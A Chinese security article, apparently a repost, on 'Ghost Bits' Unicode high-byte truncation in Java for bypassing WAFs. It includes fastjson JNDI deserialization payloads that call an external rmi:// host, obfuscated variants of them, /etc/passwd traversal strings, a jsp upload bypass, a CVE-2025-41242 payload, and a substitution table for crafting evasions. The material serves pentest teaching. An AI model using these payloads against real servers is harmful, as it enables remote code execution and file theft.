测试人员如何测试GhostBits

admin 2026-05-02 05:58:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了GhostBits技术机制,即通过Unicode字符高位截断绕过WAF检测的方法。核心发现包括该技术适用于Java环境、需存在字符截断场景,并列举了在BCEL加载、SQL注入、文件上传等场景的应用案例。文档提供了ASCII与Unicode映射表和具体绕过示例,同时警示CVE-2025-41242漏洞的触发条件与检测脚本。 综合评分: 85 文章分类: WEB安全,漏洞分析,应用安全,代码审计,渗透测试


cover_image

测试人员如何测试Ghost Bits

原创

CatalyzeSec CatalyzeSec

CatalyzeSec

2026年5月1日 12:43 湖北

在小说阅读器读本章

去阅读

什么是Ghost Bits

简单来说Ghost bits就是高位丢弃,只截取低位,比如:陪U+966A只截取低位的6A就是j

GhostBits机制就是对现有已存在的漏洞进行各种bypass,尝试绕过各种字符拦截或者伪装,接下来来看看他的使用条件和应用场景

使用条件:

  • 必须是Java后端,只有 Java 的 char 是 16 位 UTF-16,且存在大量隐式 char→byte 截断代码模式
  • 存在截断 Sink,代码中有截断高 8 位的操作

在靶场webgoat中,可以看到中文字符被转换成unicode字符显示在页面中,如果这里页面直接显示j的话,表明这里存在截断

陪 → U+966A → j

全角编码在页面中显示出的unicode

%2e%2e%2fetc%2fpasswd   # 全角编码 → Spring URLDecoder → ../etc/passwd%2e%2e/etc/passwd

使用场景

| | | | — | — | | BCEL ClassLoader | 在 BCEL 类名中嵌入 Unicode,WAF看不见,ClassLoader 正常加载恶意类 | | Jackson SQL 注入 | 用汉字(如丰U+4E30)拼出 SQL关键字,1 union select… | | fastjson \u 转义 & \x 转义 | \u๐๐੪๐type → @type,WAF 拦截不了,\x4_type → @type | | Tomcat 文件上传 | 1.陪sp → 1.jsp(陪低8位=j) | | 全角 URL 编码 | %2e%2e%2f → %2e%2e%2f = ../ | | Ghost-Bit URL编码(Spring/Undertow/Jetty/Vert.x) | 同一 payload 1ue%2e.陪sp在四个框架中都解出 1ue.jsp | | Base64 解码 | 用拉丁扩展字符拼出 base64字符串,如 Ō→M | | Spring4Shell | 字段名 㹣౬ᙡ⑳⑳ 低8位=class,WAF看不见 |

fastjson反序列化案例

POC{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://e36df90e61.ddns.1433.eu.org./test","autoCommit":true}}

Ghost bit变形,可以bypass一些被waf拦截的字符,比如:@变形成\u๐๐੪๐

※注意数据包需在yakit的发送,在burpsuite中使用的话会造成编码异常

# 泰文变形{    "b":{        "\u๐๐੪๐type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://e36df90e61.ddns.1433.eu.org./test",        "autoCommit":true    }}

| | | | | — | — | — | | 原始字符 | ASCII十六进制 | Unicode Digit编码 | | @ | @ | \u๐๐੪๐ 或 \u๐๐๔๐ | | J | J | \u๐๐੪๡ 或 \u๐๐๔๑ | | d | d | \u๐๐๖੪ 或 \u๐๐๖๔ | | S | S | \u๐๐๕๓ | | I | I | \u๐๐๔๙ |

# 多个替换{    "b":{        "\u๐๐๔๐type":"com.sun.rowset.J\u๐๐๖੪bcRow\u๐๐๕๓et\u๐๐๔๙mpl",        "dataSourceName":"rmi://9022f11450.ddns.1433.eu.org./test",        "autoCommit":true    }}

CVE-2025-41242

触发条件(必须同时满足):

  • 必须是 Java后端,HTTP 头 Server: Jetty、X-Powered-By: Servlet、Spring Whitelabel 错误页

  • Spring Framework 版本为 5.3.0-5.3.43 / 6.0.0-6.0.29 / 6.1.0-6.1.21

  • 内嵌 Jetty,必须是 Jetty,Tomcat 或 Undertow 不触发

/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64

这里有个细节需要注意,目标文件名中至少要有一个字符做percent-encoding(例如把passwd写成passw%64),否则Spring的路径匹配会提前短路,根本不会调用到那段有问题的解码逻辑

下面这个脚本适用于专门探测 CVE-2025-41242 框架的工具

常用 ASCII 字符 → Ghost Bits Unicode 字符查询表

| | | | | | — | — | — | — | | ASCII | 目标字符 | Unicode 候选字符(多选) | 备注 | | 0x00 | \0 | U+0000U+4E00U+9600 | 空字节 | | 0x0A | \n | U+000AU+4E0AU+760A(瘊), U+960A | CRLF 注入核心 | | 0x0D | \r | U+000DU+4E0DU+760D(瘍), U+960D | CRLF 注入核心 | | 0x20 | (空格) | U+0020U+4E20U+6720U+9620 | | | 0x25 | % | U+0025U+4E25(严), U+9625 | URL 编码关键 | | 0x2E | . | U+002EU+4E2EU+962E(阮) | 路径遍历关键 | | 0x2F | / | U+002FU+4E2FU+962F | 路径分隔符 | | 0x30 | 0 | U+0030U+0E50(๐), U+0A66(੦), U+4E30(丰), U+7530 | 数字零,fastjson 可用泰文 | | 0x31 | 1 | U+0031U+0E51(๑), U+0A67(੧), U+4E31 | | | 0x32 | 2 | U+0032U+0E52(๒), U+0A68(੨), U+7532(甲) | | | 0x33 | 3 | U+0033U+0E53U+4E33 | | | 0x34 | 4 | U+0034U+0E54U+4E34 | | | 0x35 | 5 | U+0035U+0E55U+4E35 | | | 0x36 | 6 | U+0036U+0E56U+4E36 | | | 0x37 | 7 | U+0037U+0E57U+4E37 | | | 0x38 | 8 | U+0038U+0E58U+4E38 | | | 0x39 | 9 | U+0039U+0E59U+4E39 | | | 0x3C | < | U+003CU+4E3CU+963C | XSS / XML 注入 | | 0x3E | > | U+003EU+4E3EU+963E | XSS / XML 注入 | | 0x40 | @ | U+0040U+4E40U+9640 | fastjson @type | | 0x41 | A | U+0041U+4E41U+9641 | | | 0x42 | B | U+0042U+4E42U+9642 | BCEL | | 0x43 | C | U+0043U+4E43U+9643 | | | 0x44 | D | U+0044U+4E44U+9644 | | | 0x45 | E | U+0045U+4E45U+9645 | | | 0x46 | F | U+0046U+4E46U+9646 | | | 0x5C | \ | U+005CU+4E5CU+965C | 转义符 | | 0x5F | _ | U+005FU+4E5FU+965F | fastjson \x 绕过:digits[0x5F]=0 | | 0x61 | a | U+0061U+4E61U+9661 | | | 0x62 | b | U+0062U+4E62U+9662 | | | 0x63 | c | U+0063U+4E63U+9663 | class | | 0x64 | d | U+0064U+4E64U+9664 | | | 0x65 | e | U+0065U+4E65U+6765(来), U+9665U+FF45(e) | 全角 e | | 0x66 | f | U+0066U+4E66U+9666U+FF46(f) | 全角 f | | 0x67 | g | U+0067U+4E67U+9667 | | | 0x68 | h | U+0068U+4E68U+9668 | | | 0x69 | i | U+0069U+4E69U+9669 | | | 0x6A | j | U+006AU+4E6AU+966A(陪) | jsp 文件上传绕过 | | 0x6B | k | U+006BU+4E6BU+966B | | | 0x6C | l | U+006CU+4E6CU+966C | | | 0x6D | m | U+006DU+4E6DU+966D | | | 0x6E | n | U+006EU+4E6EU+966E | Jetty: %6> → n | | 0x6F | o | U+006FU+4E6FU+966F | | | 0x70 | p | U+0070U+4E70U+9670 | jsp | | 0x71 | q | U+0071U+4E71U+9671 | | | 0x72 | r | U+0072U+4E72U+9672 | | | 0x73 | s | U+0073U+4E73U+9673 | | | 0x74 | t | U+0074U+4E74U+9674 | | | 0x75 | u | U+0075U+4E75U+7075(灵), U+9675 | \u 转义 | | 0x76 | v | U+0076U+4E76U+9676 | | | 0x77 | w | U+0077U+4E77U+9677 | | | 0x78 | x | U+0078U+4E78U+9678 | \x 转义 | | 0x79 | y | U+0079U+4E79U+9679 | | | 0x7A | z | U+007AU+4E7AU+967A | |

免责申明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:CatalyzeSec CatalyzeSec CatalyzeSec《测试人员如何测试Ghost Bits》

评论:0   参与:  0